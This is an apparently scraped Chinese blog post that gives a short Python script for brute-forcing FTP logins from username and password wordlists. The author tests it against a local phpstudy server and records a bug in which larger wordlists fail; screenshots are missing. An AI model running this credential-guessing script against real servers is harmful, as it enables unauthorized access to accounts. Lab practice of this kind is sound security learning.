当前位置: 首页 > news >正文

python-FTP爆破脚本(phpstudy)-一点bug记录

脚本

def blast_ftp(host, port, user_dict, pwd_dict):ftp = FTP()for user in open(user_dict, 'r').readlines():for pwd in open(pwd_dict, 'r').readlines():user = user.replace('\n', '')pwd = pwd.replace('\n', '')try:print(user, pwd)ftp.connect(host=host, port=port, timeout=0.5)ftp.login(user=user, passwd=pwd)return [user, pwd]except:# print(1)passreturn '爆破失败'res = blast_ftp('127.0.0.1', 21, pwd_dict='test_2/pwd.txt', user_dict='test_2/users.txt')
print(res)

phpstudy的环境

root root
在这里插入图片描述

bug

数量较少时-重启ftp-成功
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

数量较多时-重启ftp-失败的

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://www.xdnf.cn/news/1166779.html

相关文章:

  • C++性能优化擂台技术文章大纲
  • Unity笔记——事件中心
  • Web3介绍(Web 3.0)(一种基于区块链技术的去中心化互联网范式,旨在通过技术手段实现用户对数据的自主权、隐私保护和价值共享)
  • 算法第26天|贪心算法:用最少数量的箭引爆气球、无重叠区间、划分字母区间
  • solidity从入门到精通 第二章:Solidity初相见
  • AI 音频产品开发模板及流程(二)
  • 数据结构 堆(2)---堆的实现
  • Markdown 转 PDF API 数据接口
  • Android ViewModel 深度解析:原理、使用与最佳实践
  • Redis——Redis进阶命令集详解(下)
  • Docker Compose UI远程访问教程:结合贝锐花生壳实现内网穿透
  • Qt中QObject类的核心作用与使用
  • C++函数 vs Go函数
  • Qt基本控件使用:按钮、标签、文本框等
  • 【打怪升级 - 01】保姆级机器视觉入门指南:硬件选型 + CUDA/cuDNN/Miniconda/PyTorch 安装全流程(附版本匹配秘籍)
  • Kotlin多线程调试
  • freertos关键函数理解 uxListRemove
  • 拼多多视觉算法面试30问全景精解
  • 【AI时代速通QT】第五节:Qt Creator如何引入第三方库,以OpenCV为例
  • 《汇编语言:基于X86处理器》第9章 字符串和数组(2)
  • 库制作与原理
  • Vue 3 面试题全套题库
  • Elasticsearch安装指南
  • 【集群】MySQL的主从复制了解吗?会有延迟吗,原因是什么?
  • AngularJS 动画
  • RabbitMQ--批量处理
  • Linux 内核与底层开发
  • Axios 二次封装
  • 用org.apache.pdfbox 转换 PDF 到 图片格式
  • EMA《2025-2028年药品监管中的数据与AI 1.3版》信息分析